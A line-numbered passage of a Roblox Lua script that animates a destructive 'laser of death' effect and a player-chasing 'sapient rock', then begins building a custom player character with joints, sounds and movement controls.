  2149. GraphicalEffects.LASER_WIDTH = 0.15
  2150. GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE = 6.25
  2151. GraphicalEffects.laser_data = {}
  2152. --GraphicalEffects.fragmentation = {}
  2153. function GraphicalEffects.AnimateLaserOfDeath(data)
  2154.         local frame, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part, magic_circle_light,
  2155.  
  2156. magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay, light_effects =
  2157.  
  2158. unpack(data)
  2159.         local laser_color = laser_part.Color
  2160.         frame = frame + 1
  2161.         data[1] = frame
  2162.         local transparency = (frame / duration) ^ stay
  2163.         local opacity = 1 - transparency
  2164.         if frame == 2 then
  2165.                 sound:Play()
  2166.         end
  2167.         if frame == duration then
  2168.                 pcall(Game.Destroy, magic_circle_model)
  2169.                 GraphicalEffects.laser_data[data] = nil
  2170.         else
  2171.                 if magic_circle_model.Parent ~= Workspace then
  2172.                         pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
  2173.                 end
  2174.                 local laser_distance = 0
  2175.                 local origin = chatAdornee.CFrame
  2176.                 if not light_effects then
  2177.                         direction = (origin * directionOrientation - origin.p).unit
  2178.                 end
  2179.                 local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
  2180.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
  2181.  
  2182. 25)
  2183.                 local loop_scale = (laser_scale - 1) / 10
  2184.                 for x_offset = -loop_scale, loop_scale, 2 do
  2185.                         for y_offset = -loop_scale, loop_scale, 2 do
  2186.                                 local origin_position = magic_circle_cframe * Vector3.new(x_offset, y_offset, 0)
  2187.                                 for index = 1, 8 do
  2188.                                         local part, position
  2189.                                         for ray_index = 1, 10 do
  2190.                                                 local ray = Ray.new(origin_position + direction * (999 * (ray_index - 1)), direction * 999)
  2191.                                                 part, position = Workspace:FindPartOnRay(ray, magic_circle_model)
  2192.                                                 if part then
  2193.                                                         break
  2194.                                                 end
  2195.                                         end
  2196.                                         if part then
  2197.                                                 laser_distance = (position - origin_position).magnitude
  2198.                                                 if frame % 8 == 1 and index == 1 then
  2199.                                                         Instance.new("Explosion", Workspace).Position = position
  2200.                                                 end
  2201.                                                 if not part:IsA("Terrain") then
  2202.                                                         pcall(part.BreakJoints, part)
  2203.                                                         local is_block = part:IsA("Part") and part.Shape == Enum.PartType.Block
  2204.                                                         local mass = part:GetMass()
  2205.                                                         local size = part.Size
  2206.                                                         if (is_block and ((size.X < fragmentation_size and size.Y < fragmentation_size and size.Z <
  2207.  
  2208. fragmentation_size) or (not part.Anchored and mass < 750))) or (not is_block and mass < 250000) then
  2209.                                                                 local part_transparency = math.max(part.Transparency + 0.007 * fragmentation_size, 0.5)
  2210.                                                                 if part_transparency >= 0.5 then -- temporarily to minimize debris
  2211.                                                                         pcall(Game.Destroy, part)
  2212.                                                                 else
  2213.                                                                         local cframe = part.CFrame
  2214.                                                                         part.Anchored = false
  2215.                                                                         part.BrickColor = BrickColor.new("Medium stone grey")
  2216.                                                                         part.CanCollide = true
  2217.                                                                         if part:IsA("FormFactorPart") then
  2218.                                                                                 part.FormFactor = "Custom"
  2219.                                                                         end
  2220.                                                                         part.Size = size - Vector3.new(0.135, 0.135, 0.135) * fragmentation_size
  2221.                                                                         part.Transparency = part_transparency
  2222.                                                                         part.CFrame = cframe + direction * 5
  2223.                                                                         part.Velocity = part.Velocity + direction * 40
  2224.                                                                 end
  2225.                                                         elseif is_block then
  2226.                                                                 local parts = {part}
  2227.                                                                 local model = Instance.new("Model", part.Parent)
  2228.                                                                 model.Name = "Fragments"
  2229.                                                                 if size.X >= fragmentation_size then
  2230.                                                                         size = Vector3.new(0.5, 1, 1) * size
  2231.                                                                         local archivable = part.Archivable
  2232.                                                                         local cframe = part.CFrame
  2233.                                                                         part.FormFactor = "Custom"
  2234.                                                                         part.Size = size
  2235.                                                                         part.Archivable = true
  2236.                                                                         local part_clone = part:Clone()
  2237.                                                                         part.Archivable = archivable
  2238.                                                                         part_clone.Archivable = archivable
  2239.                                                                         part.CFrame = cframe * CFrame.new(-0.5 * size.X, 0, 0)
  2240.                                                                         part_clone.CFrame = cframe * CFrame.new(0.5 * size.X, 0, 0)
  2241.                                                                         part_clone.Parent = model
  2242.                                                                         parts[2] = part_clone
  2243.                                                                 end
  2244.                                                                 if size.Y >= fragmentation_size then
  2245.                                                                         size = Vector3.new(1, 0.5, 1) * size
  2246.                                                                         for part_index = 1, #parts do
  2247.                                                                                 local part = parts[part_index]
  2248.                                                                                 local archivable = part.Archivable
  2249.                                                                                 local cframe = part.CFrame
  2250.                                                                                 part.FormFactor = "Custom"
  2251.                                                                                 part.Size = size
  2252.                                                                                 part.Archivable = true
  2253.                                                                                 local part_clone = part:Clone()
  2254.                                                                                 part.Archivable = archivable
  2255.                                                                                 part_clone.Archivable = archivable
  2256.                                                                                 part.CFrame = cframe * CFrame.new(0, -0.5 * size.Y, 0)
  2257.                                                                                 part_clone.CFrame = cframe * CFrame.new(0, 0.5 * size.Y, 0)
  2258.                                                                                 part_clone.Parent = model
  2259.                                                                                 table.insert(parts, part_clone)
  2260.                                                                         end
  2261.                                                                 end
  2262.                                                                 if size.Z >= fragmentation_size then
  2263.                                                                         size = Vector3.new(1, 1, 0.5) * size
  2264.                                                                         for part_index = 1, #parts do
  2265.                                                                                 local part = parts[part_index]
  2266.                                                                                 local archivable = part.Archivable
  2267.                                                                                 local cframe = part.CFrame
  2268.                                                                                 part.FormFactor = "Custom"
  2269.                                                                                 part.Size = size
  2270.                                                                                 part.Archivable = true
  2271.                                                                                 local part_clone = part:Clone()
  2272.                                                                                 part.Archivable = archivable
  2273.                                                                                 part_clone.Archivable = archivable
  2274.                                                                                 part.CFrame = cframe * CFrame.new(0, 0, -0.5 * size.Z)
  2275.                                                                                 part_clone.CFrame = cframe * CFrame.new(0, 0, 0.5 * size.Z)
  2276.                                                                                 part_clone.Parent = model
  2277.                                                                                 table.insert(parts, part_clone)
  2278.                                                                         end
  2279.                                                                 end
  2280.                                                                 for _, part in ipairs(parts) do
  2281.                                                                         part:MakeJoints()
  2282.                                                                 end
  2283.                                                         else
  2284.                                                                 break
  2285.                                                         end
  2286.                                                 end
  2287.                                         else
  2288.                                                 laser_distance = 9990
  2289.                                                 break
  2290.                                         end
  2291.                                 end
  2292.                         end
  2293.                 end
  2294.                 local laser_cframe = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
  2295.                 local laser_width = GraphicalEffects.LASER_WIDTH * opacity * laser_scale
  2296.                 local laser_mesh_offset = Vector3.new(0, 0.5 * laser_distance, 0)      
  2297.                 laser_part.CFrame = laser_cframe
  2298.                 if laser_effects then
  2299.                         local laser_effect_data_1, laser_effect_data_2 = laser_effects[1], laser_effects[2]
  2300.                         local laser_effect_1, laser_effect_mesh_1 = laser_effect_data_1[1], laser_effect_data_1[2]
  2301.                         local laser_effect_2, laser_effect_mesh_2 = laser_effect_data_2[1], laser_effect_data_2[2]
  2302.                         laser_effect_1.CFrame = laser_cframe
  2303.                         laser_effect_2.CFrame = laser_cframe
  2304.                         laser_effect_mesh_1.Offset = laser_mesh_offset
  2305.                         laser_effect_mesh_2.Offset = laser_mesh_offset
  2306.                         local game_time = time()
  2307.                         local effect_scale_1 = 0.5 + 0.5 * math.sin(16 * math.pi * game_time)
  2308.                         local effect_scale_2 = 0.5 + 0.5 * math.cos(16 * math.pi * game_time)
  2309.                         laser_effect_mesh_1.Scale = 5 * Vector3.new(laser_width * effect_scale_1, laser_distance, laser_width * effect_scale_1)
  2310.                         laser_effect_mesh_2.Scale = 5 * Vector3.new(laser_width * effect_scale_2, laser_distance, laser_width * effect_scale_2)
  2311.                         laser_width = laser_width * 0.25
  2312.                 end
  2313.                 laser_mesh.Offset = laser_mesh_offset                  
  2314.                 laser_mesh.Scale = 5 * Vector3.new(laser_width, laser_distance, laser_width)
  2315.                 magic_circle_part.CFrame = magic_circle_cframe
  2316.                 magic_circle_light.Brightness = opacity
  2317.                 magic_circle_decal_back.Transparency = transparency
  2318.                 magic_circle_decal_front.Transparency = transparency
  2319.                 if light_effects then
  2320.                         for index, data in ipairs(laser_lights) do
  2321.                                 local laser_spotlight_part, laser_spotlight = data[1], data[2]
  2322.                                 local laser_spotlight_offset = 30 * (index - 1)
  2323.                                 if laser_spotlight_offset <= laser_distance then
  2324.                                         laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -laser_spotlight_offset)
  2325.                                         laser_spotlight.Brightness = opacity
  2326.                                         laser_spotlight.Enabled = true
  2327.                                 else
  2328.                                         laser_spotlight.Enabled = false
  2329.                                 end
  2330.                         end
  2331.                 end
  2332.         end
  2333. end
  2334. function GraphicalEffects.ShootLaserOfDeath(target, data)
  2335.         if chatAdornee then
  2336.                 data = data or {}
  2337.                 local brickcolor = data.brickcolor or BrickColor.new("Really black")
  2338.                 local duration = data.duration or 40
  2339.                 local fragmentation_size = data.fragmentation_size or 3
  2340.                 local laser_scale = data.laser_scale or 1
  2341.                 local light_color = data.light_color or Color3.new(1, 0.5, 1)
  2342.                 local magic_circle_image = data.magic_circle_image or "rbxassetid://122610943"
  2343.                 local magic_circle_scale = data.magic_circle_scale or 1
  2344.                 local sound_volume = data.sound_volume or 1 / 3
  2345.                 local special_effects = data.special_effects
  2346.                 local stay = data.stay or 4
  2347.                 local origin = chatAdornee.CFrame
  2348.                 local directionOrientation = origin:pointToObjectSpace(target)
  2349.                 local direction = (target - origin.p).unit
  2350.                 local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
  2351.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  2352.                 local magic_circle_model = Instance.new("Model")
  2353.                 local laser_part = Instance.new("Part", magic_circle_model)
  2354.                 local laser_mesh = Instance.new("CylinderMesh", laser_part)
  2355.                 local magic_circle_part = Instance.new("Part", magic_circle_model)
  2356.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  2357.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  2358.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  2359.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  2360.                 local sound = Instance.new("Sound", magic_circle_part)
  2361.                 sound.Pitch = 1.25
  2362.                 sound.SoundId = "rbxassetid://2248511"
  2363.                 sound.Volume = sound_volume
  2364.                 magic_circle_model.Archivable = false
  2365.                 laser_part.Anchored = true
  2366.                 laser_part.BottomSurface = "Smooth"
  2367.                 laser_part.BrickColor = brickcolor
  2368.                 laser_part.CanCollide = false
  2369.                 laser_part.CFrame = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
  2370.                 laser_part.FormFactor = "Custom"
  2371.                 laser_part.Locked = true
  2372.                 laser_part.Size = Vector3.new(0.2, 0.2, 0.2)
  2373.                 laser_part.TopSurface = "Smooth"
  2374.                 laser_mesh.Offset = Vector3.new(0, 0, 0)
  2375.                 laser_mesh.Name = "Mesh"
  2376.                 laser_mesh.Scale = 5 * laser_scale * Vector3.new(GraphicalEffects.LASER_WIDTH, 0, GraphicalEffects.LASER_WIDTH)
  2377.                 magic_circle_part.Anchored = true
  2378.                 magic_circle_part.BottomSurface = "Smooth"
  2379.                 magic_circle_part.CanCollide = false
  2380.                 magic_circle_part.CFrame = magic_circle_cframe
  2381.                 magic_circle_part.FormFactor = "Custom"
  2382.                 magic_circle_part.Locked = true
  2383.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  2384.                 magic_circle_part.TopSurface = "Smooth"
  2385.                 magic_circle_part.Transparency = 1
  2386.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
  2387.                 magic_circle_light.Color = light_color
  2388.                 magic_circle_light.Range = 16 * magic_circle_scale
  2389.                 magic_circle_light.Shadows = true
  2390.                 magic_circle_decal_back.Face = "Back"
  2391.                 magic_circle_decal_back.Texture = magic_circle_image
  2392.                 magic_circle_decal_front.Face = "Front"
  2393.                 magic_circle_decal_front.Texture = magic_circle_image
  2394.                 magic_circle_model.Parent = Workspace
  2395.                 local laser_color = brickcolor.Color
  2396.                 local laser_lights = {}
  2397.                 local light_effects = laser_color.r + laser_color.g + laser_color.b > 0.25
  2398.                 if light_effects then
  2399.                         local laser_spotlight_part_template = Instance.new("Part")
  2400.                         local laser_spotlight_light_template = Instance.new("SpotLight", laser_spotlight_part_template)
  2401.                         laser_spotlight_part_template.Anchored = true
  2402.                         laser_spotlight_part_template.Anchored = true
  2403.                         laser_spotlight_part_template.BottomSurface = "Smooth"
  2404.                         laser_spotlight_part_template.CanCollide = false
  2405.                         laser_spotlight_part_template.FormFactor = "Custom"
  2406.                         laser_spotlight_part_template.Locked = true
  2407.                         laser_spotlight_part_template.Size = Vector3.new(0.2, 0.2, 0.2)
  2408.                         laser_spotlight_part_template.TopSurface = "Smooth"
  2409.                         laser_spotlight_part_template.Transparency = 1
  2410.                         laser_spotlight_light_template.Angle = 45
  2411.                         laser_spotlight_light_template.Color = laser_color
  2412.                         laser_spotlight_light_template.Enabled = true
  2413.                         laser_spotlight_light_template.Name = "Light"
  2414.                         laser_spotlight_light_template.Range = 60
  2415.                         for index = 1, 40 do
  2416.                                 local laser_spotlight_part = laser_spotlight_part_template:Clone()
  2417.                                 laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -30 * (index - 1))
  2418.                                 laser_spotlight_part.Parent = magic_circle_model
  2419.                                 laser_lights[index] = {laser_spotlight_part, laser_spotlight_part.Light}
  2420.                         end
  2421.                 end
  2422.                 local laser_effects
  2423.                 if special_effects then
  2424.                         laser_effects = {}
  2425.                         local laser_effect_1 = laser_part:Clone()
  2426.                         laser_effect_1.BrickColor = special_effects
  2427.                         laser_effect_1.Transparency = 0.5
  2428.                         local laser_effect_2 = laser_effect_1:Clone()
  2429.                         laser_effects[1], laser_effects[2] = {laser_effect_1, laser_effect_1.Mesh}, {laser_effect_2, laser_effect_2.Mesh}
  2430.                         laser_effect_1.Parent = magic_circle_model
  2431.                         laser_effect_2.Parent = magic_circle_model
  2432.                 end
  2433.                 GraphicalEffects.laser_data[{0, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part,
  2434.  
  2435. magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay,
  2436.  
  2437. light_effects}] = true
  2438.         end
  2439. end
  2440.  
  2441. function GraphicalEffects.SpawnSapientRock(position)
  2442.     local part = Instance.new("Part", Workspace)
  2443.     local size = 8 + math.random(0, 5)
  2444.     part.BottomSurface = "Smooth"
  2445.     part.TopSurface = "Smooth"
  2446.     part.Material = "Slate"
  2447.     part.Locked = true
  2448.     part.Shape = "Ball"
  2449.     part.FormFactor = "Custom"
  2450.     part.Size = Vector3.new(size, size, size)
  2451.     part.Position = position
  2452.     local bodypos = Instance.new("BodyPosition", part)
  2453.     bodypos.maxForce = Vector3.new(0, 0, 0)
  2454.     local angry = false
  2455.     local damage_ready = true
  2456.     local torso_following
  2457.     local torso_changed = -1000
  2458.     local touched_conn = part.Touched:connect(function(hit)
  2459.         local character = hit.Parent
  2460.         if character then
  2461.             local humanoid
  2462.             for _, child in ipairs(character:GetChildren()) do
  2463.                 if child:IsA("Humanoid") then
  2464.                     humanoid = child
  2465.                     break
  2466.                 end
  2467.             end
  2468.             if humanoid then
  2469.                 if angry then
  2470.                     if damage_ready then
  2471.                         damage_ready = false
  2472.                         humanoid:TakeDamage(100)
  2473.                         wait(1)
  2474.                         damage_ready = true
  2475.                         angry = false
  2476.                         part.BrickColor = BrickColor.new("Medium stone grey")
  2477.                     end
  2478.                 else
  2479.                     local torso = humanoid.Torso
  2480.                     if torso then
  2481.                         torso_following = torso
  2482.                         torso_changed = tick()
  2483.                     end
  2484.                 end
  2485.             end
  2486.         end
  2487.     end)
  2488.     TaskScheduler.Start(function()
  2489.         while part.Parent == Workspace do
  2490.             if torso_following then
  2491.                 bodypos.position = torso_following.Position
  2492.                 if tick() - torso_changed > 60 or not torso_following.Parent then
  2493.                     torso_following = nil
  2494.                     bodypos.maxForce = Vector3.new(0, 0, 0)
  2495.                     angry = false
  2496.                     part.BrickColor = BrickColor.new("Medium stone grey")
  2497.                 else
  2498.                     local speed = angry and Vector3.new(16, 16, 16) or Vector3.new(6, 0, 6)
  2499.                     bodypos.maxForce = part:GetMass() * speed
  2500.                     if part.Position.Y < -250 then
  2501.                         part.Velocity = Vector3.new()
  2502.                         part.Position = torso_following.Position + Vector3.new(0, 80, 0)
  2503.                         part.BrickColor = BrickColor.new("Bright red")
  2504.                         angry = true
  2505.                         torso_changed = tick()
  2506.                     end
  2507.                 end
  2508.             end
  2509.             RunService.Stepped:wait()
  2510.         end
  2511.         touched_conn:disconnect()
  2512.     end)
  2513.     TaskScheduler.Start(function()
  2514.         while part.Parent == Workspace do
  2515.             wait(25 + math.random() * 10)
  2516.             local next_size = 8 + math.random() * 5
  2517.             if math.random(100) == 1 then
  2518.                 next_size = next_size * (2 + 6 * math.random())
  2519.             end
  2520.             next_size = math.floor(next_size + 0.5)
  2521.             local start_time = tick()
  2522.             local mesh = Instance.new("SpecialMesh", part)
  2523.             mesh.MeshType = "Sphere"
  2524.             repeat
  2525.                 local elapsed_time = tick() - start_time
  2526.                 local alpha = math.cos(elapsed_time * math.pi * 0.5)
  2527.                 local interpolated_size = size * alpha + next_size * (1 - alpha)
  2528.                 local size_vector = Vector3.new(interpolated_size, interpolated_size, interpolated_size)
  2529.                 local cframe = part.CFrame
  2530.                 part.Size = size_vector
  2531.                 part.CFrame = cframe
  2532.                 mesh.Scale = size_vector / part.Size
  2533.                 RunService.Stepped:wait()
  2534.             until tick() - start_time >= 1
  2535.             mesh:Destroy()
  2536.             local cframe = part.CFrame
  2537.             part.Size = Vector3.new(next_size, next_size, next_size)
  2538.             part.CFrame = cframe
  2539.             size = next_size
  2540.         end
  2541.     end)
  2542. end
  2543.  
  2544. function GraphicalEffects.MainLoop()
  2545.         RunService.Stepped:wait()
  2546.         for data in pairs(GraphicalEffects.magicCircleData) do
  2547.                 GraphicalEffects.AnimateMagicCircle(data)
  2548.         end
  2549.         for data in pairs(GraphicalEffects.laser_data) do
  2550.                 GraphicalEffects.AnimateLaserOfDeath(data)
  2551.         end
  2552.         for data in pairs(GraphicalEffects.missileData) do
  2553.                 GraphicalEffects.AnimateMissile(data)
  2554.         end
  2555. end
  2556. TaskScheduler.Start(function()
  2557.         while true do
  2558.                 GraphicalEffects.MainLoop()
  2559.         end
  2560. end)
  2561.  
  2562. PlayerControl = {};
  2563.  
  2564. PlayerControl.fly_acceleration = 10
  2565. PlayerControl.fly_basespeed = 250
  2566. PlayerControl.fly_speed = PlayerControl.fly_basespeed
  2567. PlayerControl.featherfallEnabled = true
  2568. PlayerControl.pushable = false
  2569. PlayerControl.rolling = false
  2570. PlayerControl.rollingAngle = 0
  2571. PlayerControl.rollingOffset = 0
  2572. PlayerControl.rollingMaxOffset = 3
  2573. PlayerControl.rollingSpeed = 1 / 50
  2574. PlayerControl.characterEnabled = false
  2575. PlayerControl.characterMode = "normal"
  2576. local character = nil
  2577. local flying, flyingMomentum, flyingTilt = false, Vector3.new(), 0
  2578. local pose, regeneratingHealth, jumpDebounce = "Standing", false, false
  2579. -- TODO: make local variables public
  2580. local model, bodyColors, leftArmMesh, leftLegMesh, rightArmMesh, rightLegMesh, torsoMesh, wildcardHat, wildcardHandle, wildcardMesh, pants, shirt, humanoid,
  2581.  
  2582. head, leftArm, leftLeg, rightArm, rightLeg, torso, rootPart, rootJoint, face, soundFreeFalling, soundGettingUp, soundRunning, leftHip, leftShoulder,
  2583.  
  2584. rightHip, rightShoulder, neck, wildcardWeld, feetPart, feetWeld, feetTouchInterest, bodyGyro, bodyVelocity, headMesh, torsoLight
  2585. local AnimateCharacter
  2586. local UserInterface = game:service'UserInputService'
  2587. local chatBubbles = {}
  2588. local chatCharacterLimit = 240
  2589. function PlayerControl.CreateCharacter()
  2590.     local characterMode = PlayerControl.characterMode
  2591.     if characterMode == "normal" then
  2592.         if not PlayerControl.characterEnabled then
  2593.             return
  2594.         end
  2595.         local appearance = CharacterAppearance.GetDefaultAppearance()
  2596.         local active = true
  2597.         local torsoCFrame = (torso and torso.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
  2598.         if torsoCFrame.p.Y < -450 then
  2599.             torsoCFrame = CFrame.new(0, 10, 0)
  2600.         end
  2601.         local rootPartCFrame = (rootPart and rootPart.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
  2602.         if rootPartCFrame.p.Y < -450 then
  2603.             rootPartCFrame = CFrame.new(0, 10, 0)
  2604.         end
  2605.         local cameraCFrame = Camera.CoordinateFrame
  2606.         local connections = {}
  2607.         local feetTouching = {}
  2608.         local previousWalkSpeed = 0
  2609.         local prevLeftHip, prevLeftShoulder, prevRightHip, prevRightShoulder = leftHip, leftShoulder, rightHip, rightShoulder
  2610.         model = Instance.new("Model")
  2611.         humanoid = Instance.new("Humanoid", model)
  2612.         head = Instance.new("Part", model)
  2613.         leftArm = Instance.new("Part", model)
  2614.         leftLeg = Instance.new("Part", model)
  2615.         rightArm = Instance.new("Part", model)
  2616.         rightLeg = Instance.new("Part", model)
  2617.         torso = Instance.new("Part", model)
  2618.         rootPart = Instance.new("Part", model)
  2619.         soundFallingDown = Instance.new("Sound", head)
  2620.         soundFreeFalling = Instance.new("Sound", head)
  2621.         soundGettingUp = Instance.new("Sound", head)
  2622.         soundJumping = Instance.new("Sound", head)
  2623.         soundRunning = Instance.new("Sound", head)
  2624.         leftHip = Instance.new("Motor", torso)
  2625.         leftShoulder = Instance.new("Motor", torso)
  2626.         rightHip = Instance.new("Motor", torso)
  2627.         rightShoulder = Instance.new("Motor", torso)
  2628.         neck = Instance.new("Motor", torso)
  2629.         rootJoint = Instance.new("Motor", rootPart)
  2630.         feetPart = Instance.new("Part", model)
  2631.         feetWeld = Instance.new("Weld", torso)
  2632.         bodyGyro = Instance.new("BodyGyro", rootPart)
  2633.         bodyVelocity = Instance.new("BodyVelocity", rootPart)
  2634.         model.Archivable = false
  2635.         model.Name = user_name or Player.Name
  2636.         model.PrimaryPart = head
  2637.         humanoid.LeftLeg = leftLeg
  2638.         humanoid.RightLeg = rightLeg
  2639.         humanoid.Torso = rootPart
  2640.         head.CFrame = torsoCFrame * CFrame.new(0, 1.5, 0)
  2641.         head.FormFactor = "Symmetric"
  2642.         head.Locked = true
  2643.         head.Name = "Head"
  2644.         head.Size = Vector3.new(2, 1, 1)
  2645.         head.TopSurface = "Smooth"
  2646.         leftArm.CanCollide = false
  2647.         leftArm.CFrame = torsoCFrame * CFrame.new(-1.5, 0, 0)
  2648.         leftArm.FormFactor = "Symmetric"
  2649.         leftArm.Locked = true
  2650.         leftArm.Name = "Left Arm"
  2651.         leftArm.Size = Vector3.new(1, 2, 1)
  2652.         leftLeg.BottomSurface = "Smooth"
  2653.         leftLeg.CanCollide = false
  2654.         leftLeg.CFrame = torsoCFrame * CFrame.new(-0.5, -2, 0)
  2655.         leftLeg.FormFactor = "Symmetric"
  2656.         leftLeg.Locked = true
  2657.         leftLeg.Name = "Left Leg"
  2658.         leftLeg.Size = Vector3.new(1, 2, 1)
  2659.         leftLeg.TopSurface = "Smooth"
  2660.         rightArm.CanCollide = false
  2661.         rightArm.CFrame = torsoCFrame * CFrame.new(1.5, 0, 0)
  2662.         rightArm.FormFactor = "Symmetric"
  2663.         rightArm.Locked = true
  2664.         rightArm.Name = "Right Arm"
  2665.         rightArm.Size = Vector3.new(1, 2, 1)
  2666.         rightLeg.BottomSurface = "Smooth"
  2667.         rightLeg.CanCollide = false
  2668.         rightLeg.CFrame = torsoCFrame * CFrame.new(0.5, -2, 0)
  2669.         rightLeg.FormFactor = "Symmetric"
  2670.         rightLeg.Locked = true
  2671.         rightLeg.Name = "Right Leg"
  2672.         rightLeg.Size = Vector3.new(1, 2, 1)
  2673.         rightLeg.TopSurface = "Smooth"
  2674.         torso.CFrame = torsoCFrame
  2675.         torso.FormFactor = "Symmetric"
  2676.         torso.LeftSurface = "Weld"
  2677.         torso.Locked = true
  2678.         torso.RightSurface = "Weld"
  2679.         torso.Name = "Torso"
  2680.         torso.Size = Vector3.new(2, 2, 1)
  2681.         rootPart.BottomSurface = "Smooth"
  2682.         rootPart.BrickColor = BrickColor.Blue()
  2683.         rootPart.CFrame = rootPartCFrame
  2684.         rootPart.FormFactor = "Symmetric"
  2685.         rootPart.LeftSurface = "Weld"
  2686.         rootPart.Locked = true
  2687.         rootPart.RightSurface = "Weld"
  2688.         rootPart.Name = "HumanoidRootPart"
  2689.         rootPart.Size = Vector3.new(2, 2, 1)
  2690.         rootPart.TopSurface = "Smooth"
  2691.         rootPart.Transparency = 1
  2692.         soundFreeFalling.Archivable = false
  2693.         soundFreeFalling.SoundId = "rbxasset://sounds/swoosh.wav"
  2694.         soundGettingUp.Archivable = false
  2695.         soundGettingUp.SoundId = "rbxasset://sounds/hit.wav"
  2696.         soundRunning.Archivable = false
  2697.         soundRunning.SoundId = "rbxasset://sounds/bfsl-minifigfoots1.mp3"
  2698.         soundRunning.Looped = true
  2699.         leftHip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2700.         leftHip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2701.         leftHip.MaxVelocity = 0.1
  2702.         leftHip.Name = "Left Hip"
  2703.         leftHip.Part0 = torso
  2704.         leftHip.Part1 = leftLeg
  2705.         leftShoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2706.         leftShoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2707.         leftShoulder.MaxVelocity = 0.15
  2708.         leftShoulder.Name = "Left Shoulder"
  2709.         leftShoulder.Part0 = torso
  2710.         leftShoulder.Part1 = leftArm
  2711.         rightHip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2712.         rightHip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2713.         rightHip.MaxVelocity = 0.1
  2714.         rightHip.Name = "Right Hip"
  2715.         rightHip.Part0 = torso
  2716.         rightHip.Part1 = rightLeg
  2717.         rightShoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2718.         rightShoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2719.         rightShoulder.MaxVelocity = 0.15
  2720.         rightShoulder.Name = "Right Shoulder"
  2721.         rightShoulder.Part0 = torso
  2722.         rightShoulder.Part1 = rightArm
  2723.         if prevLeftHip then
  2724.             leftHip.CurrentAngle = prevLeftHip.CurrentAngle
  2725.             leftHip.DesiredAngle = prevLeftHip.DesiredAngle
  2726.         end
  2727.         if prevLeftShoulder then
  2728.             leftShoulder.CurrentAngle = prevLeftShoulder.CurrentAngle
  2729.             leftShoulder.DesiredAngle = prevLeftShoulder.DesiredAngle
  2730.         end
  2731.         if prevRightHip then
  2732.             rightHip.CurrentAngle = prevRightHip.CurrentAngle
  2733.             rightHip.DesiredAngle = prevRightHip.DesiredAngle
  2734.         end
  2735.         if prevRightShoulder then
  2736.             rightShoulder.CurrentAngle = prevRightShoulder.CurrentAngle
  2737.             rightShoulder.DesiredAngle = prevRightShoulder.DesiredAngle
  2738.         end
  2739.         neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2740.         neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2741.         neck.Name = "Neck"
  2742.         neck.Part0 = torso
  2743.         neck.Part1 = head
  2744.         rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2745.         rootJoint.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2746.         rootJoint.Name = "RootJoint"
  2747.         rootJoint.Part0 = rootPart
  2748.         rootJoint.Part1 = torso
  2749.         feetPart.BottomSurface = "Smooth"
  2750.         feetPart.CanCollide = false
  2751.         feetPart.CFrame = torsoCFrame * CFrame.new(0, -3.1, 0)
  2752.         feetPart.FormFactor = "Custom"
  2753.         feetPart.Locked = true
  2754.         feetPart.Name = "Platform"
  2755.         feetPart.Size = Vector3.new(1.8, 0.2, 0.8)
  2756.         feetPart.TopSurface = "Smooth"
  2757.         feetPart.Transparency = 1
  2758.         feetWeld.C0 = CFrame.new(0, -3, 0)
  2759.         feetWeld.C1 = CFrame.new(0, 0.1, 0)
  2760.         feetWeld.Name = "PlatformWeld"
  2761.         feetWeld.Part0 = torso
  2762.         feetWeld.Part1 = feetPart
  2763.         table.insert(connections, feetPart.Touched:connect(function(hit)
  2764.             feetTouching[hit] = true
  2765.         end))
  2766.         table.insert(connections, feetPart.TouchEnded:connect(function(hit)
  2767.             feetTouching[hit] = nil
  2768.         end))
  2769.         feetTouchInterest = feetPart:FindFirstChild("TouchInterest")
  2770.         bodyGyro.D = 3250
  2771.         bodyGyro.P = 400000
  2772.         bodyGyro.maxTorque = Vector3.new(1000000000, 0, 1000000000)
  2773.         bodyVelocity.P = 5000
